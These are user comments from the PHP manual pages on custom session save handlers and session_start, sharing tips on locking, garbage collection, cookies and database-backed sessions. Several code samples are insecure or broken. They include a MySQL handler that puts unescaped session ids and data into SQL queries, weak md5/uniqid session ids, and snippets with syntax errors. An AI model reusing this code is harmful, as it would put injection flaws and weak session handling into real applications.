You should therefore think about locking the session somehow if you want to have the exact same behavior as with the default file-based implementation. For example, with InnoDB you could do a SELECT ... FOR UPDATE, or you can use the GET_LOCK() function.
pavelc at users dot sourceforge dot net 11-Jul-2011 04:21
I write a class that unites whole handler functionality. It's not even needed to save instances of this class in variables. Just add a row:
<?php
new SessionSaveHandler();
?>
and the handler will rule the sessions ;-)
<?php

class SessionSaveHandler {
    protected $savePath;
    protected $sessionName;

    public function __construct() {
        session_set_save_handler(
            array($this, "open"),
            array($this, "close"),
            array($this, "read"),
            array($this, "write"),
            array($this, "destroy"),
            array($this, "gc")
        );
    }

    public function open($savePath, $sessionName) {
        $this->savePath = $savePath;
        $this->sessionName = $sessionName;
        return true;
    }

    public function close() {
        // your code if any
        return true;
    }

    public function read($id) {
        // your code
    }

    public function write($id, $data) {
        // your code
    }

    public function destroy($id) {
        // your code
    }

    public function gc($maxlifetime) {
        // your code
    }
}

new SessionSaveHandler();

?>
frank at interactinet dot com 22-Mar-2011 01:37
I had trouble with committing session data.
To "commit and continue" without closing your session, put this at the top of your "write" method:

<?php

$id = session_id();
session_write_close();
session_id($id);
session_start();

?>

Note that ANY time php generates a new session id, it is not automatically updated in a database. This can be helpful:

<?php

public function resetSessionId()
{
    $old = session_id();
    session_regenerate_id();
    $new = session_id();
    SessionHandler::regenerate_id($old,$new);
}

public function regenerate_id($old,$new)
{
    $db = mysqli->connect(...);

    $db->query('UPDATE sessions SET session_id = \''.$db->escape_string($new).'\'
    WHERE session_id = \''.$db->escape_string($old).'\'');
}
?>
dummynick at gmail dot com 24-May-2010 08:37
I was getting Fatal error: Exception thrown without a stack frame and it took days to figure out the reason. I am using memcache to store sessions and in my custom class I use Memcache class in write method.

I put the code in the write method inside try-catch block and it solved my problem.
bart2yk at yahoo dot com 22-Jan-2010 01:57
You can call the session_write in db object destructor to be shore that you still have a connection to mysql and the session is write.
joel the usual at sign then purerave.com 04-Dec-2009 10:53
When storing sessions in a DB, it's usually beneficial to use an existing custom DB object, but this creates problems with the latest version of PHP 5.3.1. This used to work fine on PHP 5.2.x (Linux and Windows).

The problem now is that session_write_close() is not automatically called when execution ends, but rather after all the objects have been destructed, including the DB object!

There are two ways around this, either manually calling session_write_close() at the end of your script(s), or not using the DB object.

I'm sure this is the intended behavior from the beginning.
skds1433 at hotmail dot com 02-Aug-2009 03:21
I pulled a really stupid move. If you are trying to debug your garbage collector, make sure you call the following >>> BEFORE <<< "session_start":

<?php
ini_set('session.gc_probability', 100);
ini_set('session.gc_divisor', 100);
?>

I was sure it was a bug in PHP, but turned out (like 99% of the time) to be me own fault.
yangqingrong at gmail dot com 21-Apr-2009 09:44
session_set_save_handler is used before session_start.if your session is setted as auto start. it will return FALSE value.so you need add session_write_close() before session_set_save_handler to cancel the session's auto start.it  likes this:

<?php
/*
qq:290359552
*/
session_write_close(); //cancel the session's auto start,important

function open()
{
   ...
}
....
session_set_save_handler( ... );
session_start();
?>
harald at hholzer at 13-Mar-2009 10:40
after spending 8 hours to find out whats going on..

just for the records, because php.net ignore the real world out there:

debian 5 installs by default the php-suhosin module, which changes the behavior of session_set_save_handler read/write function.

on calling the session write function the session data will be encrypted, and the returning string from the read function are decrypted and verified.

the encrypted data is no more compatible with session_encode/session_decode.

and breaks by default, subdomain handling and multiple host setups where different document roots are used.

for futher information look at:
http://www.hardened-php.net/suhosin/configuration.html

session sample data (debian 4):
test|s:3:"sdf";

session sample data (debian 5, with php-suhosin):
3GdlPEGr2kYgRFDs-pUSoKomZ4fN7r5BM5oKOCMsWNc...

i thing the suhosin patch should report a warning in case of invalid session data, to get a clue whats going wrong.
e dot sand at elisand dot com 04-Mar-2009 11:42
The "binary" data that is in the session data appears to surround class/object names, and if you pass your session data through a function to sanitize it for SQL injection, you may indeed run in to problems.

For example, using the PDO::quote() function to prepare the data for injection (in my case for SQLite3), it was stopping short as soon as it encountered the first bit of binary data, causing my session information to be corrupted.

This change *must* have happened somewhere in the 5.2 series, because I just started encountering this problem recently on a code base that had been tested & working on earlier versions of PHP 5.2.

This may in fact be a bug - I have not yet checked... but beware, and perhaps using base64 to encode/decode your session data is a good thing to do just to be sure (though you are now left unable to visually inspect serialized session information at the storage level which is a rather big problem for on-the-fly debugging of sessions).
anonymous at anonymous dot org 06-Oct-2008 12:11
if you simply append the information from session variables every time you'll have many multiples for variables each time they are changed. a simple way to do this is explode the data twice to seperate the variable name from the other relevant information and foreach() check against the stored set. here is a little bit of a mess i wrote to do it.
assuming stored session variables in both database and passed through function:

<?php
$buffer = array();
$buffer = explode('|',$sessiondata);
$buf1 = array();
$buf2 = array();
$finalbuff = '';
foreach($buffer as $i){
    $i = explode(';',$i);
    foreach($i as $b){
        array_push($buf1,$b);
    }
}
$buffer = explode('|',$result['data']);
foreach($buffer as $i){ $i = explode(';',$i); foreach($i as $b){ array_push($buf2,$b);}}
$z = 0;
$x = 0;
while($buf2[$z]){
    while($buf1[$x]){
        if($buf2[$z] == $buf1[$x]){
            $buf2[($z+1)] = $buf1[($x+1)];
        }
        $x+=2;
    }
    $z+=2;
}
foreach($buf2 as $i){ $finalbuff .= $i; }
?>

$sessiondata is the variable passed through the function and $result['data'] is the data stored in an sql database.
tomas at slax dot org 08-Jul-2008 07:00
Regarding the SAPIs: The warning mentioned in function's description (that the Current working directory is changed with some SAPIs) is very important.

It means that if your callback 'write' function needs to write to a file in current directory, it will not find it. You have to use absolute path and not rely upon the current working directory.

I thought this warning applies only to some strange environments like Windows, but it happens exactly on Linux + Apache 2.2 + PHP 5.
james dot ellis at gmail dot com 04-Apr-2008 03:39
When writing your own session handler, particularly database session handlers, play close attention to garbage cleanup and how it could affect server load.

To pick a round number example:

If you have 1000 requests per minute on session enabled pages, everyone needs a session started but the session garbage cleanup does not need to run every request. Doing so would cause unrequired queries on the database server.

In this example, setting your probability/divisor to 1/1000 would be sufficient to clean up old sessions at a minimum once a minute. If you don't need that kind of granularity, increase the gc divisor.

Finding the tradeoff between clearing up old sessions and server load is the important aspect here.
mixailo at mercenaries dot ru 11-Oct-2007 04:55
It is useful to use MEMORY storage engine in MySQL while handling sessions.
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html
james at dunmore dot me dot uk 11-Oct-2007 08:52
I think it is very important here to stress that the WRITE method should use UPDATE+INSERT (or mysql specific REPLACE).

There is example code "out there" that uses just UPDATE for the write method, in which case, when session_regenerate_id is called, session data is lost (as an update would fail, as the key has changed).

I've just wasted a whole day due to this (I know I should have thought it through / RTFM, but it is an easy trap to fall into).
Colin 08-Mar-2007 12:10
When using a custom session handler, if the first callback function (sessOpen in my case) finds no session id, one is set by the time the second argument (sessRead in my case) is called.
matt at openflows dot org 19-Sep-2006 05:02
Note that for security reasons the Debian and Ubuntu distributions of php do not call _gc to remove old sessions, but instead run /etc/cron.d/php*, which check the value of session.gc_maxlifetime in php.ini and delete the session files in /var/lib/php*.  This is all fine, but it means if you write your own session handlers you'll need to explicitly call your _gc function yourself.  A good place to do this is in your _close function, like this:

<?php
function _close() {
    _gc(get_cfg_var("session.gc_maxlifetime"));
   // rest of function goes here
}
?>
information at saunderswebsolutions dot com 16-Aug-2006 11:56
Note that if session.auto_start is set to On in the php.ini, your session_set_save_handler will return false as the session has already been initialized.

If you are finding that your code works OK on one machine but doesn't work on another, check to see if session.auto_start is set to On
sneakyimp AT hotmail DOT com 04-Aug-2006 09:20
the behavior, return values, and exact time of calling for these functions is pretty poorly documented here.  i thought folks might like to know that:

1) calling session_start() triggers PHP to first call your open function and then call your read function before resuming with the code immediately following your session_start() call.

2) calling session_id('some_value') within your open function WILL NOT SET THE SESSION COOKIE (at least not on my setup - PHP 4.4.1).  Assuming you defined some function to validate a session id called my_func(), you might want to do something like this in your open function:

<?php
  function _open($save_path, $session_name) {
    // check for session id
    $sess_id = session_id();
    if (empty($sess_id) || !myfunc($sess_id)) {
      //session_id is INVALID - generating new
      $new_id = md5(uniqid("some random seed here"));
      session_id($new_id);
      setcookie(session_name(),
                    $new_id,
                    0,
                    "/",
                    ".mydomain.com");
      }

    return true;
  } // _open()
?>
mjohnson at pitsco dot com 28-Mar-2006 11:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
    // Look up data
    $results = getStuff($id);

    // Make sure it's a string
    settype($results, 'string');
    return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
stalker at ruun dot de 03-Jan-2006 07:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
    // session-lifetime
    var $lifeTime;
    // mysql-handle
    var $dbHandle;
    function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
    }
    function close() {
        $this->gc(ini_get('session.gc_maxlifetime'));
        // close database-connection
        return @mysql_close($this->dbHandle);
    }
    function read($sessID) {
        // fetch session-data
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                            WHERE session_id = '$sessID'
                            AND session_expires > ".time(),$this->dbHandle);
        // return data or an empty string at failure
        if($row = mysql_fetch_assoc($res))
            return $row['d'];
        return "";
    }
    function write($sessID,$sessData) {
        // new session-expire-time
        $newExp = time() + $this->lifeTime;
        // is a session with this id in the database?
        $res = mysql_query("SELECT * FROM ws_sessions
                            WHERE session_id = '$sessID'",$this->dbHandle);
        // if yes,
        if(mysql_num_rows($res)) {
            // ...update session-data
            mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
            // if something happened, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // if no session-data was found,
        else {
            // create a new row
            mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
            // if row was created, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // an unknown error occured
        return false;
    }
    function destroy($sessID) {
        // delete session-data
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
        // if session was deleted, return true,
        if(mysql_affected_rows($this->dbHandle))
            return true;
        // ...else return false
        return false;
    }
    function gc($sessMaxLifeTime) {
        // delete old sessions
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows
        return mysql_affected_rows($this->dbHandle);
    }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
korvus at kgstudios dot net 11-Jun-2005 05:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
oliver at teqneers dot de 03-Feb-2005 03:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start         .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)         add session data
.                        write sesion data
.                        script "B" stop
write session data       .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu 19-Sep-2004 03:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
coco at digitalco2 dot com 23-Nov-2003 03:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
ivo at magstudio dot net 25-Nov-2002 07:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
spam at skurrilo dot de 08-May-2002 04:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.


Стартует новую сессию, либо возобновляет существующую

  • « session_set_save_handler
  • session_status »
  • PHP Manual
  • Функции для работы с сессиями
  • Стартует новую сессию, либо возобновляет существующую

session_start

(PHP 4, PHP 5, PHP 7, PHP 8)

session_start — Стартует новую сессию, либо возобновляет существующую

Описание

session_start(array $options = []): bool

Функция session_start() создаёт сессию, либо возобновляет существующую, основываясь на идентификаторе сессии, переданном через GET- или POST-запрос, либо переданный через cookie.

Когда вызвана функция session_start() или когда сессия создаётся автоматически, PHP вызовет открытие и чтение обработчиков записи сессии. Это могут быть как встроенные обработчики, так и предоставляемые модулями (например, SQLite или Memcached); или вообще определённый пользователем обработчик, заданный функцией session_set_save_handler(). Callback-функция чтения извлечёт все существующие данные сессии (сохранённые в специальном сериализованном виде), десериализует их и занесёт в суперглобальный массив $_SESSION, после чего вернёт сохранённые данные обработчику сессий PHP.

Для использования именованных сессий, используйте session_name() перед session_start().

Если разрешена опция session.use_trans_sid, функция session_start() регистрирует внутренний обработчик вывода для перезаписи URL.

Если пользователь использует ob_gzhandler или что-то подобное совместно с функцией ob_start(), порядок функций важен для правильного вывода. К примеру, ob_gzhandler должен быть зарегистрирован до старта сессии.

Список параметров

options

Если задано, то должно быть ассоциативным массивом, переопределяющим текущие директивы конфигурации сессий. Ключи не должны иметь префикса session..

В дополнение к обычному набору конфигурационных директив, может быть добавлена опция read_and_close. Если установлена в true, то сессия будет закрыта сразу же после прочтения, теоретически позволяя избежать блокировки, если данные сессии не будут изменяться.

Возвращаемые значения

Функция возвращает true, если сессия успешно стартована, в противном случае false.

Список изменений

Версия | Описание
7.1.0 | session_start() теперь возвращает false и больше не инициализирует $_SESSION, когда она не смогла запустить сессию.

Примеры

Простой пример сессии

Пример #1 page1.php

<?php
// page1.php

session_start();

echo 'Добро пожаловать на страницу 1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal'] = 'cat';
$_SESSION['time'] = time();

// Работает, если сессионная cookie принята
echo '<br /><a href="page2.php">page 2</a>';

// Или можно передать идентификатор сессии, если нужно
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

После просмотра page1.php, вторая страница page2.php чудесным образом получит все данные сессии. Читайте раздел работа с сессиями, там рассказывается про передачу идентификаторов сессий. В частности там рассказывается про то, что такое константа SID.

Пример #2 page2.php

<?php
// page2.php

session_start();

echo 'Добро пожаловать на страницу 2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal']; // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// Можете тут использовать идентификатор сессии, как в page1.php
echo '<br /><a href="page1.php">page 1</a>';
?>

Передача опций в session_start()

Пример #3 Переопределение времени жизни cookie

<?php
// Устанавливаем срок действия cookie одному дню.
session_start([
'cookie_lifetime' => 86400,
]);
?>

Пример #4 Чтение и закрытие сессии

<?php
// Если мы знаем, что в сессии не надо ничего изменять,
// мы можем просто прочитать её переменные и сразу закрыть,
// чтобы не блокировать файл сессии, который может понадобиться другим сессиям
session_start([
'cookie_lifetime' => 86400,
'read_and_close' => true,
]);

Примечания

Замечание:

Для использования сессий на основе cookie, функция session_start() должна быть вызвана перед выводом чего бы то ни было в браузер.

Замечание:

Используйте zlib.output_compression вместо ob_gzhandler()

Замечание:

Эта функция отсылает несколько заголовков HTTP, в зависимости от настроек. Смотрите описание функции session_cache_limiter() для управления этими заголовками.

Смотрите также

  • $_SESSION
  • Директива конфигурации session.auto_start
  • session_id() - Получает и/или устанавливает идентификатор текущей сессии

User Contributed Notes

bwz 08-Feb-2023 02:19
Be warned of another issue with blocking sessions: if you want to call an external program (or use an external service) that needs to access your website using the same session.

For example I am printing a page as a PDF. I can just save the web page as a HTML file. But the images in the HTML are also private and require the current user session to be seen.

What will happen is that this program might hang indefinitely (or timeout) as session_start waits for the parent PHP process to release the lock. And session_start doesn't obey max_execution_time (as documented in this bug: https://bugs.php.net/bug.php?id=72345 ), so this will effectively kill the server after a few requests, as each one will be hanging forever

It's the same if you use an external HTTP service:

<?php
$pdf = file_get_contents('http://pdf.website.tld/?url=http://website.tld/print.php');
?>

The service will wait for the website host to release the lock, but it can't as it is waiting for the PDF service to finish...

The nice solution is to release the lock immediately by calling session_write_close after session_start, and when you need to write to the session you do the same again, but as noted it has its own issues. Using a custom session handler is probably the best solution.
polygon dot co dot in at gmail dot com 07-Nov-2021 10:01
Websites are prone to Session Attack where its proper usage is not done.

There are tools like "Apache Benchmark" (ab) and many others which can hit the website with load for load / performance testing.

Code below starts the session for every request.

<?php
session_start();

$username = $_POST['username'];
$password = $_POST['password'];

if(isValidUser($username, $password)) {

    Suserdetails = getUserDetails($username);

    $_SESSION['user_id']    = Suserdetails['user_id'];
    $_SESSION['username']    = Suserdetails['username'];
    $_SESSION['firstname']    = Suserdetails['firstname'];

    header('Location: dashboard.php');
}
?>

This generates session file for every request irrespective of PHPSESSID cookie value when I use tools like ab, there by creating inode issue.

One should start the session after properly authenticating.

<?php

$username = $_POST['username'];
$password = $_POST['password'];

if(isValidUser($username, $password)) {

    Suserdetails = getUserDetails($username);

    session_start();

    $_SESSION['user_id']    = Suserdetails['user_id'];
    $_SESSION['username']    = Suserdetails['username'];
    $_SESSION['firstname']    = Suserdetails['firstname'];

    header('Location: dashboard.php');
}
?>

Scripts other then login first validates session which requires session.

<?php

    if(session_status()!=PHP_SESSION_NONE)  header('Location: login.php');

    session_start();

    if(!isset($_SESSION['user_id'])) header('Location: login.php');

    code logic below....
}
?>

This example is for file based session.
For other modes of session check function session_set_save_handler.
Anonymous 04-Nov-2020 02:44
Be careful with the 'read_and_close' option. It doesn't update the session file's last modification time unlike the default PHP behaviour when you don't close the session (or when you use session_write_close explicitly).
Old session files (for me, older than 24 minutes) will be occasionally cleared by the garbage collector (for me every 09 and 39 minute of every hour).
So a session can disappear even if the page regularly sends requests to the server that only reads and closes the session.
hu60 dot cn at gmail dot com 09-Jun-2019 12:43
The following code shows how the PHP session works. The function my_session_start() does almost the same thing as session_start().

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Nathan 21-Feb-2019 03:30
Btw you can use:

if (!isset($_SESSION)) {
// We love every user
session_start();
// Then refresh for changes to take affect
header("location: ../../");
} elseif ($_SESSION["user] == "123ABC - abcmouse.com") {
/* We don't like this user, so let's kick them out of
 the session */
session_destroy();
// Then refresh for changes to take affect
header("location: ../../");
}
marco dot agnoli at me dot com 10-Aug-2017 07:50
I recently made an interesting observation:

It seems that `session_start()` can return `true` even if the session was not properly created. In my case, the disk storage was full and so the session data could not be written to disk. I had some logic that resulted in an infinite loop when the session was not written to disk.

To check if the session really was saved to disk I used:

```
<?php

function safe_session_start() {
    # Attempt to start a session
    if (!@\session_start()) return false;

    #
    # Check if we need to perform
    # the write test.
    #
    if (!isset($_SESSION['__validated'])) {
        $_SESSION['__validated'] = 1;

        # Attempt to write session to disk
        @\session_write_close();

        # Unset the variable from memory.
        # This step may be unnecessary
        unset($_SESSION['__validated']);

        # Re-start session
        @\session_start();

        # Check if variable value is retained
        if (!isset($_SESSION['__validated'])) {
            # Session was not written to disk
            return false;
        }
    }

    return true;
}

if (!safe_session_start()) {
    # Sessions are probably not written to disk...
    # Handle error accordingly.
}

?>
```

Took me quite a while to figure this out.

Maybe it helps someone!
axew3 at axew3 dot com 04-Jul-2017 12:23
X Maintainers ... Sorry to be such pain the ass, please delete this duplicate, because submitted in a crazy 'session' where i've mess things between browser tabs ... sorry again, alessio
http://php.net/manual/en/function.session-start.php#121310
axew3 at axew3 dot com 04-Jul-2017 10:30
I just need with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0:

session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
axew3 at axew3 dot com 04-Jul-2017 10:19
I need, with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0 ...
session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
tom at bitworks dot de 11-Jun-2017 02:15
A simple session_start() will not be sufficiant to kepp you Session alive.
Due to the filesystems mounting parameters, atime will normally not be updated. Instead of atime, mtime will be delivered.

This behavior may cause an early session death and your users my be kicked of your login system.

To keep the session alive it will be necessary to write something into the sessionfile at each request, e. g. a simple

 "$_SESSION['time'] = time();"

That would keep your session alive, even if the client in reality is only clicking around the site.
ivijan dot stefan at gmail dot com 26-Feb-2017 07:59
How to fix session_start error?

Sometimes when you made plugins, addons or some components in projects you need to check if session is started and if is not, you need to start it with no session_start() errors.

Here is my tested solution what currently work on +9000 domains and in one my plugin but also in some custom works.

<?php
if (strnatcmp(phpversion(),'5.4.0') >= 0)
{
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
}
else
{
    if(session_id() == '') {
        session_start();
    }
}
?>

Feel free to use it and don't worry, be happy. ;)
bachtel at [googles email service]dotcom 03-Feb-2017 07:54
If you are using a custom session handler via session_set_save_handler() then calling session_start() in PHP 7.1 you might see an error like this:
session_start(): Failed to read session data: user (path: /var/lib/php/session) in ...

As of this writing, it seems to be happening in PHP 7.1, and things look OK in PHP7.0.

It is also hard to track down because if a session already exists for this id (maybe created by an earlier version of PHP), it will not trigger this issue because the $session_data will not be null.

The fix is simple... you just need to check for 'null' during your read function:

<?php

function read($id)
{
  //... pull the data out of the DB, off the disk, memcache, etc
  $session_data = getSessionDataFromSomewhere($id);

  //check to see if $session_data is null before returning (CRITICAL)
  if(is_null($session_data))
  {
    $session_data = '';  //use empty string instead of null!
  }

  return $session_data;
}

?>
chris at ocproducts dot com 21-Jan-2017 06:56
Initiating a session may overwrite your own custom cache control header, which may break clicking back to get back to a prior post request (on Chrome at least).
On my system it was setting 'no-store', which is much more severe than 'no-cache' and what was breaking the back-button.

If you are controlling your own cache headers carefully you need to call:
session_cache_limiter('');

...to stop it changing your cache control headers.
fabmlk at hotmail dot com 28-Dec-2015 02:04
If you ever need to open multiple distinct sessions in the same script and still let PHP generate session ids for you, here is a simple function I came up with (PHP default session handler is assumed):

<?php
/**
  * Switch to or transparently create session with name $name.
  * It can easily be expanded to manage different sessions lifetime.
  */
function session_switch($name = "PHPSESSID") {
        static $created_sessions = array();

        if (session_id() != '') { // if a session is currently opened, close it
            session_write_close();
        }
        session_name($name);
        if (isset($_COOKIE[$name])) {    // if a specific session already exists, merge with $created_sessions
            $created_sessions[$name] = $_COOKIE[$name];
        }
        if (isset($created_sessions[$name])) { // if existing session, impersonate it
            session_id($created_sessions[$name]);
            session_start();
        } else { // create new session
            session_start();
            $_SESSION = array(); // empty content before duplicating session file
                        // duplicate last session file with new id and current $_SESSION content
                        // If this is the first created session, there is nothing to duplicate from and passing true as argument will take care of "creating" only one session file
            session_regenerate_id(empty($created_sessions));
            $created_sessions[$name] = session_id();
        }
}

session_switch("SESSION1");
$_SESSION["key"] = "value1"; // specific to session 1
session_switch("SESSION2");
$_SESSION["key"] = "value2"; // specific to session 2
session_switch("SESSION1");
// back to session 1
// ...
?>

When using this function, session_start() should not be called on its own anymore (can be replaced with a call to session_switch() without argument).
Also remember that session_start() sets a Set-Cookie HTTP header on each call, so if you echo in-between sessions, wrap with ouput buffering.

Note: it's probably rarely a good idea to handle multiple sessions so think again if you think you have a good use for it.
Personally it played its role for some quick patching of legacy code I had to maintain.
aaronw at catalyst dot net dot nz 23-Apr-2015 06:56
As others have noted, PHP's session handler is blocking. When one of your scripts calls session_start(), any other script that also calls session_start() with the same session ID will sleep until the first script closes the session.

A common workaround to this is call session_start() and session_write_close() each time you want to update the session.

The problem with this, is that each time you call session_start(), PHP prints a duplicate copy of the session cookie to the HTTP response header. Do this enough times (as you might do in a long-running script), and the response header can get so large that it causes web servers & browsers to crash or reject your response as malformed.

This error has been reported to PHP HQ, but they've marked it "Won't fix" because they say you're not supposed to open and close the session during a single script like this. https://bugs.php.net/bug.php?id=31455

As a workaround, I've written a function that uses headers_list() and header_remove() to clear out the duplicate cookies. It's interesting to note that even on requests when PHP sends duplicate session cookies, headers_list() still only lists one copy of the session cookie. Nonetheless, calling header_remove() removes all the duplicate copies.

<?php
/**
 * Every time you call session_start(), PHP adds another
 * identical session cookie to the response header. Do this
 * enough times, and your response header becomes big enough
 * to choke the web server.
 *
 * This method clears out the duplicate session cookies. You can
 * call it after each time you've called session_start(), or call it
 * just before you send your headers.
 */
function clear_duplicate_cookies() {
    // If headers have already been sent, there's nothing we can do
    if (headers_sent()) {
        return;
    }

    $cookies = array();
    foreach (headers_list() as $header) {
        // Identify cookie headers
        if (strpos($header, 'Set-Cookie:') === 0) {
            $cookies[] = $header;
        }
    }
    // Removes all cookie headers, including duplicates
    header_remove('Set-Cookie');

    // Restore one copy of each cookie
    foreach(array_unique($cookies) as $cookie) {
        header($cookie, false);
    }
}
?>
elitescripts2000 at yahoo dot com 25-Jan-2014 03:56
3 easy but vital things about Sessions in AJAX Apps.

<?php
// session start

//  It is VERY important to include a Period if using
// a whole domain.  (.yourdomain.com)
// It is VERY important to set the root path your session will always
// operate in... (/members) will ensure sessions will NOT be interfered
// with a session with a path of say (/admin) ... so you can log in
// as /admin and as /members... NEVER do unset($_SESSION)
// $_SESSION=array(); is preferred, session_unset();  session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();
$_SESSION = array();
session_unset();
session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();

$_SESSION['whatever'] = 'youwhat';

// session destroying

// To be safe, clear out your $_SESSION array
// Next, what most people do NOT do is delete the session cookie!
// It is easy to delete a cookie by expiring it long before the current time.
// The ONLY WAY to delete a cookie, is to make sure ALL parameters match the
// cookie to be deleted...which is easy to get those params with
// session_get_cookie_params()...
// FInally, use  session_unset(); and session_destroy(); in this order to ensure
// Chrome, IE, Firefox and others, are properly destroying the session.
$_SESSION = array();
if (ini_get('session.use_cookies'))
{
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 31536000, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
 }
session_unset();
session_destroy();

// AJAX and SESSIONS.
